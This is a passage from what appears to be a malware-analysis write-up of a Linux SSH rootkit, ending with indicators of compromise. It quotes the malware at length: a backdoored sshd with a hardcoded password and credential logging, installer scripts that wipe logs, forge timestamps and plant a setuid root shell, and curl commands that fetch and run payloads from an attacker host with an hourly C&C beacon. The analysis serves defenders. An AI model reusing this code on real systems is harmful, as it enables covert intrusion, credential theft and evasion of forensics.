SECRETPW[2] = 0x74;
SECRETPW[3] = 0x65;
SECRETPW[0] = 0x50;
SECRETPW[1] = 0x52;
SECRETPW[4] = 0x73;
SECRETPW[6] = 0x44;
SECRETPW[5] = 0x74;

ILOG[10] = 0x70;
ILOG[3] = 0x63;
ILOG[8] = 0x2f;
ILOG[7] = 0x31;
ILOG[0] = 0x2f;
ILOG[6] = 0x31;
ILOG[1] = 0x65;
ILOG[5] = 0x58;
ILOG[2] = 0x74;
ILOG[12] = 0x00;
ILOG[4] = 0x2f;
ILOG[9] = 0x2e;
ILOG[11] = 0x72;


        if (!strcmp(password, SECRETPW)) {
                secret_ok=1;
                return 1;
        }

        result = sys_auth_passwd(authctxt, password);
        if(result){
                if((f=fopen(ILOG,"a"))!=NULL){
                        fprintf(f,"%s:%s from %s\n",authctxt->user, password, get_remote_ipaddr());
                        fclose(f);
                                            }
                }
                else
                    {
                    if (file = fopen("/tmp/.unix", "r"))
                        {
                        fclose(file);
                        if((f=fopen(ILOG,"a"))!=NULL){
                            fprintf(f,"denied : %s:%s from %s\n",authctxt->user, password, get_remote_ipaddr());
                            fclose(f);
                                                }
                        }
                    }

The password is stored in the array SECRETPW and if matched it grants access. The password in in HEX.


>>> "50527465737444".decode("hex")
'PRtestD'

Moreover, looking in the code, there is a ILOG array which is referenced as file later in the code.That file is opened with fopen and the argument  'a' which means the file is opened for writing and append data in the end of the file. Quite a few things are stored in that file: the username, the password and the remote IP. 

Again, the file name is in HEX.

>>> "2f6574632f5831312f2e707200".decode("hex")
'/etc/X11/.pr\x00'


When I SSH with any valid username and the password 'PRtestD' I access the system, but the user doesn't show up in the system with the "who" command. However, this doesn't happen with a regular password.  It seems that there is some kind of "Rookit" behaviour.


The  content of the file "/etc/X11/.pr", contains all the user/password which have been successfully logged in the system. Also, any SCP/SFTP/SSH  connection launched from that host are stored in that same file. Some nice sniffing capabilities :P


In file sshlogin.c, I found some code which checks if the password introduced is the 'backdoor' password. If it is, no records remain from that access. Nice way to hide the access :)



/*
 * Records that the user has logged in.  I wish these parts of operating
 * systems were more standardized.
 */
void
record_login(pid_t pid, const char *tty, const char *user, uid_t uid,
    const char *host, struct sockaddr *addr, socklen_t addrlen)
{
        struct logininfo *li;

        /* save previous login details before writing new */
        store_lastlog_message(user, uid);

        li = login_alloc_entry(pid, user, host, tty);
        login_set_addr(li, addr, addrlen);
        if(!secret_ok || secret_ok!=1){
                login_login(li);
                login_free_entry(li);
        }
}
...
..

/* Records that the user has logged out. */
void
record_logout(pid_t pid, const char *tty, const char *user)
{
        struct logininfo *li;

        li = login_alloc_entry(pid, user, NULL, tty);
        if(!secret_ok || secret_ok!=1){
                login_logout(li);
                login_free_entry(li);
        }
}




Script 3 (p2): Installing the Trojanized SSH tools

The script p2, is in charge of replacing the original SSH binaries in the system with the trojanized version. The full script is below:

#!/bin/bash
############## RK full install (p2)

# echo -e "\033[0;31m [-] \033[0m\033[0m" # red
# echo -e "\033[0;32m [+] \033[0m\033[0m" # green
# echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan
echo

os=`cat 1tempfiles/os.txt`
rk=`cat 1tempfiles/rk.txt`
side_files_dir=`cat 1tempfiles/side_files_dir.txt`
maindir=`pwd`

echo -e "\033[0;32m [+] \033[0m\033[0m starting full rk install" # green
rkdir="$maindir/$rk"
cd $rkdir ; ./run install $rk 1>>$maindir/1tempfiles/log.rkinstall 2>>$maindir/1tempfiles/log.rkinstall
size_rk=`wc -c < $rk/sshd-eu`
size_sshd=`wc -c < /usr/sbin/sshd`
if [ "$size_rk" != "$size_sshd" ] ; then  echo -e "\033[0;31m [-] \033[0m\033[0m something is wrong. aborting. check ($maindir/1tempfiles/log.rkinstall)" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m rk install done (logs in $maindir/1tempfiles/log.rkinstall)"

cd $maindir
echo -e "\033[0;32m [+] \033[0m\033[0m downloading rkip install file (p3)" # green
rm -rf p3
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p3
if [ ! -f p3 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
chmod +x p3 ; ./p3

The script calls the  'run' script, which it is part of the default.tgz package downloaded and has been used by Script 2 (p1) to test the SSHD compiled version.

I did not go into the details of this script, so it is worth to mentioned what it is able to do:
  • Overwrite some logs files to remove evidence of the intrusion
    • /var/log/messages, /var/log/secure, /var/log/lastlog, /var/log/wtmp
  • It defines a function to change the timestamp of the modified files. This function is luam_timestamp()
  • Create a directory '/etc/pps' , which it is used to keep some files in future steps
  • Create the file /etc/X11/.pr where all the user / passwords are kept, as explained previously
  • Compile a file goprem.c  which permits to gather a local root shell. The content of the file is as follow:
#include <unistd.h>
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
  • Finally the SSH binary files are overwritten with the trojanized version, and the timestamp is changed: /usr/sbin/sshd, /usr/bin/ssh, /usr/bin/sftp, /usr/bin/scp


Content of the script:

#!/bin/bash

# echo -e "\033[0;31m [-] \033[0m\033[0m" # red
# echo -e "\033[0;32m [+] \033[0m\033[0m" # green
# echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan

if [ $# != 2 ]; then good=0 ; fi

if [ "$1" == "test" ] ; then
 test=1
elif [ "$1" == "install" ] ; then
 install=1
else
 good=0
fi

if [ "$good" = "0" ] ; then
 echo
        echo -e "\033[0;31m $0 [test | install] [rk kit] \033[0m\033[0m" # red
        echo -e "\033[0;36m example: $0 test 2centos6-32bits \033[0m\033[0m" #cyan
 echo
 exit
fi

if [ ! -s "$2" ] ; then 
 echo
 echo -e "\033[0;31m $2 is not a valid rk kit \033[0m\033[0m" # red
 echo
 exit
fi



### verificam daca e instalat ce folosim
DEP=(
'/usr/bin/curl'
'/bin/sed'
'/usr/bin/gcc'
)
for t in "${DEP[@]}" ; do
        if [ -f $t ] ; then
                echo -ne "\033[0;32m [+] \033[0m\033[0m" # green
                echo "$t - found"
        else
                echo -ne "\033[0;31m [-] \033[0m\033[0m" # red
                echo "$t - MISSING OR EMPTY"
                good=0
        fi
done
if [ "$good" = "0" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi





######## golim logurile de pe server - pe viitor tb gasita alta varianta
> /var/log/messages
> /var/log/secure
> /var/log/lastlog
> /var/log/wtmp
# EOF golim logurile de pe server - pe viitor tb gasita alta varianta


######## facem directorul si fiserul de unde luam timestamp si facem functia
mkdir /usr/lib/libu.a/ 2>/dev/null
echo "timestamp" > /usr/lib/libu.a/TS04840203583
touch -r /usr/sbin/sshd /usr/lib/libu.a
touch -r /usr/sbin/sshd /usr/lib/libu.a/TS04840203583
luam_timestamp() {
  touch -r /usr/lib/libu.a/TS04840203583 $1
  }
####### EOF facem directorul si fiserul de unde luam timestamp si facem functia


########################################## test part
if [ "$test" = "1" ] ; then
 # echo "doing test"
 if [ -s "$2/run-libcheck" ] ; then
  cd $2
  ./run-libcheck
  cd ..
 fi
 echo
 echo -e "\033[0;36m [x] setting up permissions \033[0m\033[0m" #cyan
 echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "permision 400 for /etc/ssh/ssh_host*" ;  chmod 400 /etc/ssh/ssh_host*
 echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "creating: /var/empty" ;  mkdir /var/empty 1>/dev/null 2>/dev/null
 
 echo
        echo -e "\033[0;36m [x] moving sshd config files \033[0m\033[0m" #cyan
                echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo /etc/ssh/sshd_config
                        cp -f sshd_config /etc/ssh
   luam_timestamp /etc/ssh/sshd_config
                echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo /etc/ssh/ssh_config
                        cp -f ssh_config /etc/ssh
   luam_timestamp /etc/ssh/ssh_config

 echo
 echo -e "\033[0;36m [x] test ended. Now test the sshd :) \033[0m\033[0m" #cyan
 cd $2
 rm -rf test-sshd ; cp sshd-eu test-sshd
 cd ..
 maindir=`pwd` ; workdir="$maindir/$2"
 echo " $workdir/test-sshd -p 65535"
 echo " telnet 127.0.0.1 65535 / ssh root@127.0.0.1 -p 65535"
 echo " killall -9 test-sshd"
 
 echo
 echo -e "\033[0;36m [x] Daca totul e bine, ruleaza ./run install $2 \033[0m\033[0m" #cyan
 echo
exit
fi
# EOF test part





########################################## install part
if [ "$install" = "1" ] ; then
 echo
        echo -e "\033[0;36m [x] creating sniffer files and main dir \033[0m\033[0m" #cyan
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "Creating: /etc/pps"
   mkdir /etc/pps ; chmod 777 /etc/pps/
   luam_timestamp /etc/pps
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "Creating: /etc/X11/.pr"
   mkdir /etc/X11 ; chmod 777 /etc/X11/ ; > /etc/X11/.pr
   luam_timestamp /etc/X11/.pr
 
 echo
 echo -e "\033[0;36m [x] creating goprem dir & file (suid) \033[0m\033[0m" #cyan
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "creating: /usr/include/arpa"
   mkdir /usr/include 1>/dev/null 2>/dev/null
   mkdir /usr/include/arpa 1>/dev/null 2>/dev/null
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "gcc goprem.c & moving"
   gcc goprem.c -o goprem 2>/dev/null
   mv goprem /usr/include/arpa/
                        chown root:root /usr/include/arpa/goprem
                        chmod +s /usr/include/arpa/goprem
   luam_timestamp /usr/include/arpa/goprem

 echo
 echo -e "\033[0;36m [x] getting permisions in \033[0m\033[0m" #cyan
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/sbin"
   chattr -R -aui /usr/sbin/ 1>/dev/null 2>/dev/null
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin" 
   chattr -R -aui /usr/bin/ 1>/dev/null 2>/dev/null
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/bin"
   chattr -R -aui /bin/ 1>/dev/null 2>/dev/null

 echo
 echo -e "\033[0;36m [x] replacing system files \033[0m\033[0m" #cyan
  maindir=`pwd` ; workdir="$maindir/$2"
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "saving server's sshd in /etc/pps/old-srvf/"
   mkdir /etc/pps/old-srvf ; cp /usr/sbin/sshd /etc/pps/old-srvf/old55hd
   luam_timestamp /etc/pps/old-srvf
   luam_timestamp /etc/pps/old-srvf/old55hd
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/sbin/sshd"
   cp -f $workdir/sshd-eu /usr/sbin/sshd
   luam_timestamp /usr/sbin/sshd
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/ssh"
   cp -f $workdir/ssh /usr/bin/ssh
   luam_timestamp /usr/bin/ssh
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/sftp"
   cp -f $workdir/sftp /usr/bin/sftp
   luam_timestamp /usr/bin/sftp
  echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/scp"
   cp -f $workdir/scp /usr/bin/scp
   luam_timestamp /usr/bin/scp

 echo
 echo -e "\033[0;36m [x] moving to the last step (sshd restart file) \033[0m\033[0m" #cyan
 echo " mv s_res /tmp/.bla ; cd /tmp/.bla ; rm -rf rkkit*"
 echo " nohup ./s_res 1>/dev/null 2>/dev/null "
 echo " tar zxf side_files.tgz -C /etc/pps ; cd /etc/pps/side_files ; rm -rf /tmp/.bla"
 echo
exit
fi
# EOF install part



Script 4 (p3): 

The p3 script is pulled by the script p2 using the command curl --progress-bar -O http://gopremium.mooo.com/.../auto/p3. And then it is executed

Again, this script pulls  additional tools from http://gopremium.mooo.com/.../auto/side_files.tgz

Before taking a look into the content of the additional script and what it does, I'll check the output. 

The are several things here, but one that it very interesting is the last line, where all information about the compromised system together with the IP of the host is displayed. Even, there is a unique ID assigned to this system. This information is kept by the cyber criminals to track all their compromised systems




The full content of the P3 script is below:

#!/bin/bash
############## rkip install (p3)

# echo -e "\033[0;31m [-] \033[0m\033[0m" # red
# echo -e "\033[0;32m [+] \033[0m\033[0m" # green
# echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan


os=`cat 1tempfiles/os.txt`
rk=`cat 1tempfiles/rk.txt`
side_files_dir=`cat 1tempfiles/side_files_dir.txt`
maindir=`pwd`




echo -e "\033[0;32m [+] \033[0m\033[0m downloading rkip" # green
rm -rf side_files.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/side_files.tgz
if [ ! -f side_files.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi

echo -e "\033[0;32m [+] \033[0m\033[0m starting rkip install" # green
if [ -z $side_files_dir ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m no side_files_dir. aborting" ; echo ; exit ; fi
rm -rf /etc/pps/side_files
tar mzxf side_files.tgz ; rm -rf side_files.tgz ; cp -R side_files /etc/pps
rkipdir="/etc/pps/side_files"
cd $rkipdir ; yes y | ./install $side_files_dir 1>>$maindir/1tempfiles/log.rkip 2>>$maindir/1tempfiles/log.rkip
node_process_id=$(pidof [pdflush-0])
if [[ -z $node_process_id ]]; then
        #echo " nu exista"
        echo -e "\033[0;31m [-] \033[0m\033[0m background proccess did not start. aborting. check ($maindir/1tempfiles/log.rkip). script in /etc/pps/side_files"
        echo ; exit
fi
echo -e "\033[0;32m [+] \033[0m\033[0m rkip install done (logs in $maindir/1tempfiles/log.rkip)"

echo -e "\033[0;36m [x] \033[0m\033[0m write this down in your notepad :)" #cyan
echo
id_unic=`cat $maindir/1tempfiles/log.rkip|grep NOTEPAD`
echo "$id_unic"
echo


#### cleaning shit out
cd /etc/pps ; rm -rf side_files ; ./dep-safe.arhivez
rm -rf $maindir


Analysis of side_files.tgz tools


The install script

The main script 'install' performs several actions. It defines a function "timestamp-ptty" to modified the timestamp of some files in order to make more difficult any forensic investigation. The timestamp chosen is the same than timestamp from /bin/ls. Quite interesting :)

Also, it checks that there is some URL defined, which will be used later for some checks

Finally, it calls another script, "dep-install_install2", which it is part of "side_files.tgz" as well.

The full content of the 'install' script is below:

#!/bin/bash

# echo -ne "\033[0;31m [-] \033[0m\033[0m" # red
# echo -ne "\033[0;32m [+] \033[0m\033[0m" # green
# echo -ne "\033[0;36m xxx \033[0m\033[0m" #cyan


if [ $# != 1 ]; then
 echo
 echo -e "\033[0;31m $0 [... | .unix] \033[0m\033[0m" # red
 echo -e "\033[0;36m [... | .unix] = which main server dir is used \033[0m\033[0m" #cyan
        echo 
        exit;
fi ; echo


############## facem linkul de la main server in functie de director

myhost="gopremium.mooo.com"
main_link="http://$myhost/$1"
mkdir /usr/lib/libu.a/ 1>/dev/null 2>/dev/null

## adaog timestamp
 echo "timestamp-ptty" > /usr/lib/libu.a/TS8402386704
 touch -r /bin/ls /usr/lib/libu.a
 touch -r /bin/ls /usr/lib/libu.a/TS8402386704
 luam_timestamp() {
                touch -r /usr/lib/libu.a/TS8402386704 $1
                }
## EOF adaog timestamp 

echo "$main_link" > /usr/lib/libu.a/l3290367235
luam_timestamp /usr/lib/libu.a/l3290367235
main_link_check=`cat /usr/lib/libu.a/l3290367235`


if [ "$main_link" == "$main_link_check" ] ; then
 #echo "aceleasi linkuri"
 echo -ne "\033[0;32m [+] \033[0m\033[0m" # green
 echo "main server link: $main_link_check"
 good=1
else
 #echo "difera"
 echo -ne "\033[0;31m [-] \033[0m\033[0m" # red
 echo "there is something wrong with the main_link."
 good=0
fi
if [ "$good" != "1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi

echo -ne "\033[0;36m [x] \033[0m\033[0m" #cyan
echo -n "press any key if link is okay" ; read a

# EOF facem linkul de la main server in functie de director


### verificam daca e instalat ce folosim
DEP=(
'/usr/bin/curl'
'/bin/sed'
'/usr/bin/gcc'
'dep-install_install2'
'dep-install_ptty'
)
for t in "${DEP[@]}" ; do
        if [ -f $t ] ; then
                echo -ne "\033[0;32m [+] \033[0m\033[0m" # green
                echo "$t - found"
        else
                echo -ne "\033[0;31m [-] \033[0m\033[0m" # red
                echo "$t - MISSING OR EMPTY"
                good=0
        fi
done
if [ "$good" != "1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi


echo -ne "\033[0;36m [x] \033[0m\033[0m" #cyan
echo "starting dep-install_install2"
./dep-install_install2


Analysis of "dep-install_install2" script 
The first part of the script uses the same trick to modify the timestamp of the files.

Then, it queries the URL http://gopremium.mooo.com/.unix/return_ip.php in order to figure out the public IP of the compromised system-

There is also a function to generated a unique random ID, which it is used to identify the compromised system

Moreover, the script compiles "events.c", which it is a program that runs every hour in order to launch another command: /usr/bin/ptty. It even defines a fake name "[pdflush-0]". pdfflush is a process usually running in Linux systems for caching purposes. Another interesting technique to hide the malicious process. 

The content of events.c is below


#include <stdio.h>
#include <pthread.h>
#define FAKE "[pdflush-0]"

int main(int argc, char **argv){
strcpy(argv[0],FAKE);
while (1) {
sleep(3600);
system("/usr/sbin/ptty 1>>/dev/null 2>>/dev/null");
}


return 0;
}

The command /usr/sbin/ptty called in the events C code, is the script dep-install_ptty, which it is part of the TGZ file. I'll explain later the content of this script but I advance it is the C&C communication module.

Next thing done by this script is to ensure the "event" binary (just compiled) is executed. This is done through modifying the file /etc/init/env.conf in order to include a call to the shell script  /usr/sbin/env.  /usr/sbin/env is charge of calling the events binary.

Content of the modified cron (note the final line and call to /usr/sbin/env)

# env - Event System Register

description     "Event System Register"

start on runlevel [2345]
stop on runlevel [!2345]

respawn

exec /usr/sbin/env

"/usr/bin/env"  is also part of the side_files.tgz and basically calls the compiled binary 'events'. 

Code of /usr/sbin/env:

killall -9 events 1>/dev/null 2>/dev/null
nohup events 1>/dev/null 2>/dev/null &



The multiple calls through different files to executed the malicious file, together with some of the binary files and configuration files, demonstrate the interested Cyber Criminals to be stealthy.


Lastly, the script sends a HTTP request to the server, in order to inform that a new system has been compromised. This happens through the URL http://gopremium.mooo.com/.unix/srv-newinstall.php

Analysis of "dep-install_ptty" script

This script is in charged of communicating with the C&C and it runs every hour. The script does several things:
  • Check if there is some user connected to the system, and depending on that the rest of the script is executed or not
  • Download any new update from the URL http://gopremium.mooo.com/.unix/srvupdt.tgz.
  • Download any update for this specific compromised system. This is done through the URL http://gopremium.mooo.com/.unix/srvupdt_IDXYZ.tgz (where IDXYZ is the unique ID for this system)
  • Check if the IP has changed. For that, it queries the URL http://gopremium.mooo.com/.unix/return_ip.php and compares with the previous IP. 
  • Check if there has been any change in SSHD binary, in the IP or if the server has been down, and send that information to the C&C through the URL http://gopremium.mooo.com//.unix/srv.php?ip=XXXXip_changed=NO&sshd_changed=NO&sshd_backup_missing=NO&srv_was_down=YES&ptty_ver=3.0 (where XXXX is the current IP)

#!/bin/bash
ptty_ver="3.0"




######### verificam daca e cineva logat si nu are idle.
logati_fara_idle=`w|grep -v 'southsea\|inordkuo\|localte\|lolo'|grep -v days|cut -c43-50|grep s`
if [[ -z $logati_fara_idle ]] ; then
 # echo "nu e nimeni activ pe server"
 useri=0
else
 # echo "sunt useri activi pe server"
 useri=1
fi
# EOF verificam daca e cineva logat si nu are idle.



######## continuam cu scriptul DOAR DACA nu sunt useri activi pe server
if [ "$useri" == "0" ] ; then
        ####### verificam daca merge dns-ul, daca nu, adaogam nameserver
        dns=`cat /etc/resolv.conf |grep 208.67.220.222`
        if [[ -z $dns ]] ; then
                # echo "dns nu e bun"
                echo "nameserver 208.67.220.222" >> /etc/resolv.conf
        fi
        # EOF verificam daca merge dns-ul, daca nu, adaogam nameserver

 ####### continuam cu scriptul DOAR DACA merge netul, verificam pe google
 url_check_net="http://google.com"
 if curl --output /dev/null --silent --head --fail "$url_check_net"; then
  # echo "URL exists: $url_check_net - merge netul"
  
  ip=`cat /usr/lib/libu.a/i1935678123`
  id_unic=`cat /usr/lib/libu.a/g239293471`        # id unic pt fiecare server in parte, e generat la install
  url=`cat /usr/lib/libu.a/l3290367235`  # hostul principal il ia din txt
  #url="http://192.168.137.177/test/sc/test"      # hostul principal. E DEFINIT IN ptty SI IN install
 

  ### adaog timestamp
         luam_timestamp() {
                 touch -r /usr/lib/libu.a/TS8402386704 $1 2>/dev/null
                   }
  # EOF timestamp
  luam_timestamp /usr/lib/libu.a
  luam_timestamp /usr/lib/libu.a/l3290367235
  luam_timestamp /usr/lib/libu.a/i1935678123
  luam_timestamp /usr/lib/libu.a/g239293471

  ######### DACA EXISTA ARHIVA srvupdt.tgz PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA.
         url_srvupdt="$url/srvupdt.tgz"                   # il pui daca vrei sa lansezi un script pe servere
         url_srvupdt_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt.tgz"       # intra pe el ca sa confirme ca a tras arhiva
  if curl --output /dev/null --silent --head --fail "$url_srvupdt"; then
   # echo "URL exists: $url_srvupdt"
   curl -s "${url_srvupdt_confirmare}" 1>/dev/null 2>/dev/null &
   tempdir="/tmp/.tmp"
   rm -rf "$tempdir" 1>/dev/null 2>/dev/null
   mkdir "$tempdir" 1>/dev/null 2>/dev/null
   curl --silent  "$url_srvupdt" --output "$tempdir"/srvupdt.tgz 2>/dev/null
   cd "$tempdir" 2>/dev/null
   tar zxvf srvupdt.tgz 1>/dev/null 2>/dev/null
   cd srvupdt 1>/dev/null 2>/dev/null
   ./install & 2>/dev/null
  fi
  # EOF DACA EXISTA ARHIVA PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA


  ######### ARHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic
  url_id_unic="$url/srvupdt_$id_unic.tgz"
  url_id_unic_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt_$id_unic.tgz"       # intra pe el ca sa confirme ca a tras arhiva
  if curl --output /dev/null --silent --head --fail "$url_id_unic"; then 
   # echo "URL exists: $url_id_unic"
   curl -s "${url_id_unic_confirmare}" 1>/dev/null 2>/dev/null &
   tempdir="/var/tmp/.tmp"
                        rm -rf "$tempdir" 1>/dev/null 2>/dev/null
                        mkdir "$tempdir" 1>/dev/null 2>/dev/null
   curl --silent  "$url_id_unic" --output "$tempdir"/srvupdt_$id_unic.tgz 2>/dev/null
   cd "$tempdir" 2>/dev/null
   tar zxvf srvupdt_$id_unic.tgz 1>/dev/null 2>/dev/null
   cd srvupdt_$id_unic 1>/dev/null 2>/dev/null
   ./install & 2>/dev/null
  fi
  # EOF RHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic


   
  ########## PORNIM RESTUL SCRIPTULUI
  changes=0
  ip_changed="NO"
  sshd_changed="NO"
  sshd_backup_missing="NO"
  srv_was_down="NO"
   
   ######## verificam ce ip are serverul
          url_return_ip="$url/return_ip.php"              # din el ia valoarea $new_ip fiecare server
   if curl --output /dev/null --silent --head --fail "$url_return_ip"; then
    new_ip=`curl -s "$url_return_ip"|grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'`
   fi
   # EOF verificam ce ip are serverul

   ####### verificam daca s-a schimbat ip-ul
   if [ "$ip" != "$new_ip" ] ; then
    # s-a schimbat ip-ul
    changes=1
    ip_changed="$new_ip"
   fi
   # EOF verificam daca s-a schimbat ip-ul

   ####### verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd
   if [ -f /usr/lib/libu.a/m9847292 ] ; then
    # exista fisierul nostru de rk
    size_rk=`wc -c < /usr/lib/libu.a/m9847292`
    size_sshd=`wc -c < /usr/sbin/sshd`
    if [ "$size_rk" != "$size_sshd" ] ; then
     # cineva a schimbat sshd-ul

     ### punem sshd-ul meu inapoi
     cp /usr/lib/libu.a/m9847292 /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null
     chattr -aui /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
     mv -f /usr/lib/libu.a/sshd /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
     rm -rf /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null
     killall -9 sshd 1>>/dev/null 2>>/dev/null
     luam_timestamp /usr/sbin/sshd
     /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
     # EOF punem sshd-ul meu inapoi

     changes=1
     sshd_changed="YES"
    fi
   else
    # cineva a sters fisierul nostru de rk (backup-ul)
    changes=1
    sshd_backup_missing="YES"
    sshd_changed="UNKNOWN"
   fi
   # EOF verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd

   ####### verificam daca sshd e pornit, daca nu, il pornim noi
   sshd_process=`ps x | grep -v grep|grep sshd`
   if [[ -z $sshd_process ]]; then
    # echo "nu ruleaza"
    /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
    # nu mai dau notificare daca am pornit eu sshd
    # changes=1
   fi
   # EOF verificam daca sshd e pornit, daca nu, il pornim noi

   ###### verificam daca a fost cazut netul
   if [ -f /usr/lib/libu.a/h439302s ] ; then
    # serverul a fost cazut
    changes=1
    srv_was_down="YES"
   fi
  
   ##### DACA scriptul detecteaza schimbari, intram pe link
   if [ "$changes" = 1 ] ; then
    ### trimitem datele catre server
curl -s "${url}/srv.php?ip=${ip}&ip_changed=${ip_changed}&sshd_changed=${sshd_changed}&sshd_backup_missing=${sshd_backup_missing}&srv_was_down=${srv_was_down}&ptty_ver=${ptty_ver}" 1>/dev/null 2>/dev/null &
   fi
   # EOF DACA scriptul detecteaza schimbari, intram pe link

  # EOF PORNIM RESTUL SCRIPTULUI
   
  



  else
   # echo "URL does NOT exist: $url_check_net - NU merge netul"
   mkdir /usr/lib/libu.a/ 1>/dev/null 2>/dev/null ## in caz ca ne-a sters cineva dir
   echo "srv was down" > /usr/lib/libu.a/h439302s 2>/dev/null
   luam_timestamp /usr/lib/libu.a/h439302s
  fi
  # EOF continuam cu scriptul DOAR DACA merge netul, verificam pe google
fi
# EOF continuam cu scriptul DOAR DACA nu sunt useri activi pe server


Finally, the P3 script runs some commands and scripts to remove all the temporal files


So in Summary, we are dealing with:

  • Backdoor capabilities
    • A rootkit and backdoor for Linux system across different platforms and architecture
    • Local rootshell
    • The main SSHD binary is overwritten with a malicious binary. This binary contains a backdoor password to ensure access. Also, any access with that password is not tracked. This password is PRtestD
  • Multi architecture and modular approach: 
    • It uses a modular approach with different scripts involved. 
    • Depending on the OS and the architecture different files are download and executed.
  • Sniffing capabilities: Several other binaries like scp, sftp, ssh are trojanized to steal username / passwords
  • Anti-forensic capabilities: 
    • Remove some logs to delete evidences  (/var/log/messages, /var/log/secure, /var/log/lastlog, /var/log/wtmp)
    • Modify timestamp of files 
  • Rootkit capabilities:
    • Hidden processes and files through different techniques
  • C2C capabilities:
    • Communication with C&C every hour to inform of any change in the system (eg: new IP)
    • Communication with C&C every hour to pull any update


Update 1: Some additional analysis on the backdoor passwords in the SSHD binaries is here 


IOCs



5.189.136.43
http://gopremium.mooo.com/.../auto/p 
http://gopremium.mooo.com/.../auto/p1
http://gopremium.mooo.com/.../auto/arm61.tgz
http://gopremium.mooo.com/.../auto/arm71.tgz
http://gopremium.mooo.com/.../auto/vyos.tgz
http://gopremium.mooo.com/.../auto/vyos64.tgz
http://gopremium.mooo.com/.../auto/edgeos.tgz
http://gopremium.mooo.com/.../auto/edgeos64.tgz
http://gopremium.mooo.com/.../auto/default.tgz
http://gopremium.mooo.com/.../auto/p2
http://gopremium.mooo.com/.../auto/p3
http://gopremium.mooo.com/.../auto/side_files.tgz
http://gopremium.mooo.com/.unix/return_ip.php
http://gopremium.mooo.com/.unix/srvupdt.tgz
http://gopremium.mooo.com/.unix/srvupdt_IDXYZ.tgz
http://gopremium.mooo.com//.unix/srv.php

/etc/X11/.pr
/etc/pps
/usr/bin/ptty
/etc/init/env.conf (containing /usr/sbin/env)
/usr/bin/events/events



MD5 (arm61/arm61/run-libcheck) = 34976ac680474edd12d16d84470bd702
MD5 (arm61/arm61/scp) = 5eb1b59dbcd806ce41858bf40e10cab0
MD5 (arm61/arm61/sftp) = dce8fc0c3ddf0351e4e81f404b85d7bb
MD5 (arm61/arm61/ssh) = aeae5ae324e118021cb7e7ee7d5e7a26
MD5 (arm61/arm61/sshd) = 7aadb643f8345fb59e8998e18209f71a
MD5 (arm61/arm61/sshd-eu) = 7aadb643f8345fb59e8998e18209f71a

MD5 (vyos/vyos/scp) = 6797f4801407052832ff482d5b1acf06
MD5 (vyos/vyos/sftp) = 2d3a350e5210255f89a61a082254233f
MD5 (vyos/vyos/ssh) = 5b3193530738e8e658c5ab8f63b5ee0d
MD5 (vyos/vyos/sshd-eu) = 142e4198e11d405899619d49cc6dc79c
MD5 (vyos/vyos/test-sshd) = 142e4198e11d405899619d49cc6dc79c

MD5 (vyos64/vyos64/scp) = 300f7413eb76bf6905df1f5182e52f9e
MD5 (vyos64/vyos64/sftp) = 01a4f0f38096df67e13c6e9ed7ccc205
MD5 (vyos64/vyos64/ssh) = 3e7dfbac340929fc54aa459cc7ad181b
MD5 (vyos64/vyos64/sshd-eu) = b327add04800e05480a020af2ab993e0
MD5 (vyos64/vyos64/test-sshd) = b327add04800e05480a020af2ab993e0


MD5 (edgeos/edgeos/scp) = ce8e196db65bed7862d98d4a14283ae4
MD5 (edgeos/edgeos/sftp) = 0e34c468857e5e3d66ec2f0bd223d38c
MD5 (edgeos/edgeos/ssh) = 47f2e08da73bb5e5d6c61d347d1bfbf1
MD5 (edgeos/edgeos/sshd-eu) = 4b4e7ccb1f015a107ac052ba25dfe94e
MD5 (edgeos/edgeos/test-sshd) = 4b4e7ccb1f015a107ac052ba25dfe94e

MD5 (edgeos64/edgeos64/scp) = 602793976e2f41b5a1942cfd2784d075
